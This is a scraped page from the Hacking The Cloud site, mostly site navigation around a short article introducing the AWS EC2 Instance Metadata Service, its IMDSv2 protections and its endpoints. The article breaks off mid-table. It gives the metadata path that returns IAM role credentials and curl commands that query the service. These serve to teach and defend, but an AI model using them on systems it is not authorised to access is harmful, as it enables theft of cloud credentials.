16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-to-access-the-metadata-service class=md-nav__link> <span class=md-ellipsis> How to Access the Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=#imdsv2 class=md-nav__link> <span class=md-ellipsis> IMDSv2 </span> </a> </li> <li class=md-nav__item> <a href=#the-security-benefits-of-imdsv2 class=md-nav__link> <span class=md-ellipsis> The Security Benefits of IMDSv2 </span> </a> </li> <li class=md-nav__item> <a href=#what-info-the-metadata-service-contains class=md-nav__link> <span class=md-ellipsis> What Info the Metadata Service Contains </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-to-access-the-metadata-service class=md-nav__link> <span class=md-ellipsis> How to Access the Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=#imdsv2 class=md-nav__link> <span class=md-ellipsis> IMDSv2 </span> </a> </li> <li class=md-nav__item> <a href=#the-security-benefits-of-imdsv2 class=md-nav__link> <span class=md-ellipsis> The Security Benefits of IMDSv2 </span> </a> </li> <li class=md-nav__item> <a href=#what-info-the-metadata-service-contains class=md-nav__link> <span class=md-ellipsis> What Info the Metadata Service Contains </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/intro_metadata_service.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Introduction to the Instance Metadata Service</h1> <p>Every EC2 instance has access to the instance metadata service (IMDS) that contains metadata and information about that specific EC2 instance. In addition, if an <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html>IAM Role</a> is associated with the EC2 instance, credentials for that role will be in the metadata service. Because of this, the instance metadata service is a prime target for attackers who gain access to an EC2 instance.</p> <h2 id=how-to-access-the-metadata-service>How to Access the Metadata Service<a class=headerlink href=#how-to-access-the-metadata-service title="Permanent link">&para;</a></h2> <p>The metadata service can be accessed at <code>http://169.254.169.254/latest/meta-data/</code> from the EC2 instance. Alternatively, it can also be reached via IPv6 at <code>http://[fd00:ec2::254]/latest/meta-data/</code> however this only applies to <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances>Nitro EC2 instances</a>.</p> <p>To get credentials, you will first need to make a request to <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/</code>. The response to this will return the name of the IAM role associated with the credentials. You then make a subsequent request to retrieve the IAM credentials at <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/</code>. </p> <h2 id=imdsv2>IMDSv2<a class=headerlink href=#imdsv2 title="Permanent link">&para;</a></h2> <p>Version <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html>two</a> of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.</p> <div class=highlight><pre><span></span><code>user@host:~$ TOKEN=`curl -X PUT &quot;http://169.254.169.254/latest/api/token&quot; -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot;`
 user@host:~$ curl -H &quot;X-aws-ec2-metadata-token: $TOKEN&quot; -v http://169.254.169.254/latest/meta-data/
 </code></pre></div> <h2 id=the-security-benefits-of-imdsv2>The Security Benefits of IMDSv2<a class=headerlink href=#the-security-benefits-of-imdsv2 title="Permanent link">&para;</a></h2> <p><a href=https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/ >IMDSv2</a> offers a number of security improvements over the original. Wherever possible, IMDSv2 should be enforced over the original metadata service. These improvements take the following form:</p> <p><strong>Session Authentication</strong>: In order to retrieve information from the metadata service a session must be created by sending a HTTP PUT request to retrieve a token value. After this, the token must be used for all subsequent requests. This mechanism effectively mitigates traditional Server Side Request Forgery <a href=https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ >attacks</a>, as an attacker is unlikely to be able to send a PUT request.</p> <p><strong>Blocks X-Forwarded-For Header</strong>: IMDSv2 will block requests to fetch a token that include the X-Forwarded-For header. This is to prevent misconfigured reverse proxies from being able to access it.</p> <p><strong>TTL of 1</strong>: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to "1". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>While the default configuration of IMDSv2 will prevent a Docker container from being able to reach the metadata service, this can be configured via the "<a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html>hop limit</a>."</p> </div> <h2 id=what-info-the-metadata-service-contains>What Info the Metadata Service Contains<a class=headerlink href=#what-info-the-metadata-service-contains title="Permanent link">&para;</a></h2> <p>The following information was pulled from <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html>here</a>.</p> <table> <thead> <tr> <th>Endpoint</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>ami-id</td> <td>The AMI ID used to launch the instance.</td> </tr> <tr> <td>ami-launch-index</td> <td>If you started more than one instance at the same time, this value indicates the order in which the instance was launched. The value of the first instance launched is 0.</td> </tr> <tr> <td>ami-manifest-path</td> <td>The path to the AMI manifest file in Amazon S3. If you used an Amazon EBS-backed AMI to launch the instance, the returned result is unknown.</td> </tr> <tr> <td>hostname</td> <td>The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0).</td> </tr> <tr> <td>iam/info</td> <td>If there is an IAM role associated with the instance, contains information about the last time the instance profile was updated, including the instance's LastUpdated date, InstanceProfileArn, and InstanceProfileId. Otherwise, not present.</td> </tr> <tr> <td>iam/security-credentials/<em>role-name</em></td> <td>If there is an IAM role associated with the instance, role-name is the name of the role, and role-name contains the temporary security credentials associated with the role. Otherwise, not present.</td> </tr> <tr> <td>identity-credentials/ec2/info</td> <td>[Internal use only] Information about the credentials in identity-credentials/ec2/security-credentials/ec2-instance. These credentials are used by AWS features such as EC2 Instance Connect, and do not have any additional AWS API permissions or privileges beyond identifying the instance.</td> </tr> <tr> 